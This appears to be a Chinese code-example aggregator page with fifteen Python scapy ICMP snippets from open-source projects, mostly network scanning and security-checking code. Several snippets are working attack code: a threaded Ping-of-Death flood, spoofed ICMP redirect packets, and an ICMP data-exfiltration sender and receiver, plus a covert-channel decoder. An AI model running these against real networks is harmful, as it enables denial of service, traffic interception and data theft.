當前位置: 首頁>>代碼示例>>Python>>正文


Python all.ICMP屬性代碼示例

本文整理匯總了Python中scapy.all.ICMP屬性的典型用法代碼示例。如果您正苦於以下問題:Python all.ICMP屬性的具體用法?Python all.ICMP怎麽用?Python all.ICMP使用的例子?那麽, 這裏精選的屬性代碼示例或許可以為您提供幫助。您也可以進一步了解該屬性所在scapy.all的用法示例。


在下文中一共展示了all.ICMP屬性的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: detect_inactive_hosts

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def detect_inactive_hosts(scan_hosts):
    """ 
    Scans the network to find scan_hosts are live or dead
    scan_hosts can be like 10.0.2.2-4 to cover range. 
    See Scapy docs for specifying targets.   
    """
    global scheduler
    scheduler.enter(RUN_FREQUENCY, 1, detect_inactive_hosts, (scan_hosts, ))
    inactive_hosts = []
    try:
        ans, unans = sr(IP(dst=scan_hosts)/ICMP(), retry=0, timeout=1)
        ans.summary(lambda r : r.sprintf("%IP.src% is alive"))
        for inactive in unans:
            print ("%s is inactive" %inactive.dst)
            inactive_hosts.append(inactive.dst)
        
        print ("Total %d hosts are inactive" %(len(inactive_hosts)))
             
        
    except KeyboardInterrupt:
        exit(0) 
開發者ID:PacktPublishing,項目名稱:Python-Network-Programming-Cookbook-Second-Edition,代碼行數:23,代碼來源:3_7_detect_inactive_machines.py

示例2: ping

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def ping(test_params, show_result=False):
        """Check whether QUIC server is responding."""
        if not test_params:
            return None

        ping_packets = [QUIC_PING_000, QUIC_PING_001]
        for ping_packet in ping_packets:
            ping_data = ping_packet.decode("hex")

            response = udp_sr1(test_params, ping_data)
            if not response:
                continue
            if ICMP in response and response[ICMP].type == 3:
                print_verbose(test_params, "Received ICMP dest-unreachable")
                continue
            if 50 < len(response) < 70 or 1000 < len(response) < 2000:
                return True
            else:
                print ("Received unknown message len: {}".format(len(response)))
            # parsed_response = scrap_response(test_params, response)
            # if check_dtls_response(test_params, parsed_response):
            #     return True
        return False 
開發者ID:Samsung,項目名稱:cotopaxi,代碼行數:25,代碼來源:quic_utils.py

示例3: ping

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def ping(test_params, show_result=False):

        ping_packets = [QUIC_PING_000, QUIC_PING_001]

        for ping_packet in ping_packets:
            ping_data = ping_packet.decode("hex")

            response = udp_sr1(test_params, ping_data)
            if not response:
                continue
            if ICMP in response and response[ICMP].type == 3:
                print_verbose(test_params, "Received ICMP dest-unreachable")
                continue
            if 50 < len(response) < 70 or 1000 < len(response) < 2000:
                return True
            else:
                print ("Received unknown message len: {}".format(len(response)))
            # parsed_response = scrap_response(test_params, response)
            # if check_dtls_response(test_params, parsed_response):
            #     return True
        return False 
開發者ID:Samsung,項目名稱:cotopaxi,代碼行數:23,代碼來源:quic_tester.py

示例4: POD_ATTACK

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def POD_ATTACK(threads, attack_time, target):
	# Finish
	global FINISH
	FINISH = False

	target_ip = target

	print("\033[1;34m"+"[*]"+"\033[0m"+" Starting POD attack...")
	
	threads_list = []

	# POD flood
	def pod_flood():
		global FINISH
		payload = random.choice(list("1234567890qwertyuiopasdfghjklzxcvbnm")) * 60000
		packet  = IP(dst = target_ip) / ICMP(id = 65535, seq = 65535) / payload

		while not FINISH:
			for i in range(16):
				send(packet, verbose = False)
				print("\033[1;32m"+"[+]"+"\033[0m"+" Packet was sent!")

	# Start threads
	for thread in range(0, threads):
		print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...")
		t = Thread(target = pod_flood)
		t.start()
		threads_list.append(t)
	# Sleep selected secounds
	time.sleep(attack_time)
	# Terminate threads
	for thread in threads_list:
		FINISH = True
		thread.join()
	
	print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.") 
開發者ID:entynetproject,項目名稱:quack,代碼行數:38,代碼來源:pod.py

示例5: pkt_callback

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def pkt_callback(self, pkt):
        """
        Process PING packets
        """
        if pkt[ICMP].type == 8:
            if pkt[IP].id >= 200 and pkt[IP].id < 300:
                self.pktlen = pkt[IP].id - 200
            elif pkt[IP].id >= 300 and pkt[IP].id < 400:
                self.pkttotal = pkt[IP].id - 300
            elif pkt[IP].id >= 500 and pkt[IP].id < 600:
                self.dic[pkt[IP].id - 500] = '{:04x}'.format(pkt[ICMP].seq)
            elif pkt[IP].id == 666:
                if DEBUG:
                    print(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime())
                          + 'PING:' + pkt[IP].src + ':ALARM Case Open!')

        if len(self.dic) == self.pkttotal:
            odic = collections.OrderedDict(sorted(self.dic.items()))
            final = ''
            for value in odic.iteritems():
                final = final + value[1]
            text = decrypt(final[:self.pktlen])
            text = text.strip()
            hexip = text.split(',')[-1]
            text = text.replace(hexip, hextoip(hexip))
            text = 'PING:' + pkt[IP].src + ':' + text
            printer(self.filed, text)
            self.dic = {}
            self.pkttotal = 200 
開發者ID:ekiojp,項目名稱:circo,代碼行數:31,代碼來源:carpa.py

示例6: build_icmp

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def build_icmp(self):
        pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
              IP(src=self.target, dst=self.gateway)/UDP()

        return pkt 
開發者ID:paranoidninja,項目名稱:piSociEty,代碼行數:7,代碼來源:ICMP.py

示例7: detect

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def detect(self, dst_port):
        pkt = IP(dst=self._target) / ICMP(type=ICMP_ECHO_REQUEST, code=0x41)
        response = sr1(pkt, verbose=False, timeout=CFG_PACKET_TIMEOUT)

        if response is None:
            self.ipnet_score = 0
        elif response['ICMP'].code == 0:
            self.ipnet_score = 20
        else:
            self.ipnet_score = -20 
開發者ID:ArmisSecurity,項目名稱:urgent11-detector,代碼行數:12,代碼來源:urgent11_detector.py

示例8: generator

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def generator(self, n, filename):

        time = 0.00114108 * n + 0.157758
        minutes = time/60

        print('Generating packets, it will take %s seconds, moreless (%s, minutes)' % (time, minutes))

        pkgs = [IP(dst='10.0.0.1')/ICMP() for i in range(n)]
        wrpcap(filename, pkgs)

        print('%s packets generated.' % (n)) 
開發者ID:ffmancera,項目名稱:pentesting-multitool,代碼行數:13,代碼來源:flooder_utility.py

示例9: send

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def send(data):
    data = base64.b64encode(data)
    app_exfiltrate.log_message(
        'info', "[icmp] Sending {} bytes with ICMP packet".format(len(data)))
    scapy.sendp(scapy.Ether() /
                scapy.IP(dst=config['target']) / scapy.ICMP() / data, verbose=0) 
開發者ID:sensepost,項目名稱:DET,代碼行數:8,代碼來源:icmp.py

示例10: listen

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def listen():
    app_exfiltrate.log_message('info', "[icmp] Listening for ICMP packets..")
    # Filter for echo requests only to prevent capturing generated replies
    scapy.sniff(filter="icmp and icmp[0]=8", prn=analyze) 
開發者ID:sensepost,項目名稱:DET,代碼行數:6,代碼來源:icmp.py

示例11: analyze

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def analyze(packet):
    src = packet.payload.src
    dst = packet.payload.dst
    try:
        app_exfiltrate.log_message(
            'info', "[icmp] Received ICMP packet from: {0} to {1}".format(src, dst))
        app_exfiltrate.retrieve_data(base64.b64decode(packet.load))
    except:
        pass 
開發者ID:sensepost,項目名稱:DET,代碼行數:11,代碼來源:icmp.py

示例12: traceroute_discovery

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def traceroute_discovery(self):
        config = get_config()
        node_internal_ip = srp1(
            Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout,
        )[IP].src
        return [[node_internal_ip, "24"]]

    # querying azure's interface metadata api | works only from a pod 
開發者ID:aquasecurity,項目名稱:kube-hunter,代碼行數:10,代碼來源:hosts.py

示例13: get_cbr0_ip_mac

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def get_cbr0_ip_mac(self):
        config = get_config()
        res = srp1(Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)
        return res[IP].src, res.src 
開發者ID:aquasecurity,項目名稱:kube-hunter,代碼行數:6,代碼來源:dns.py

示例14: execute

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def execute(self):
        config = get_config()
        logger.debug("Attempting to get kube-dns pod ip")
        self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.netork_timeout)[IP].dst
        cbr0_ip, cbr0_mac = self.get_cbr0_ip_mac()

        kubedns = self.get_kube_dns_ip_mac()
        if kubedns:
            kubedns_ip, kubedns_mac = kubedns
            logger.debug(f"ip={self_ip} kubednsip={kubedns_ip} cbr0ip={cbr0_ip}")
            if kubedns_mac != cbr0_mac:
                # if self pod in the same subnet as kube-dns pod
                self.publish_event(PossibleDnsSpoofing(kubedns_pod_ip=kubedns_ip))
        else:
            logger.debug("Could not get kubedns identity") 
開發者ID:aquasecurity,項目名稱:kube-hunter,代碼行數:17,代碼來源:dns.py

示例15: execute

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import ICMP [as 別名]
def execute(self):
        config = get_config()
        self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
        arp_responses, _ = srp(
            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
        )

        # arp enabled on cluster and more than one pod on node
        if len(arp_responses) > 1:
            # L3 plugin not installed
            if not self.detect_l3_on_host(arp_responses):
                self.publish_event(PossibleArpSpoofing()) 
開發者ID:aquasecurity,項目名稱:kube-hunter,代碼行數:14,代碼來源:arp.py


注:本文中的scapy.all.ICMP屬性示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。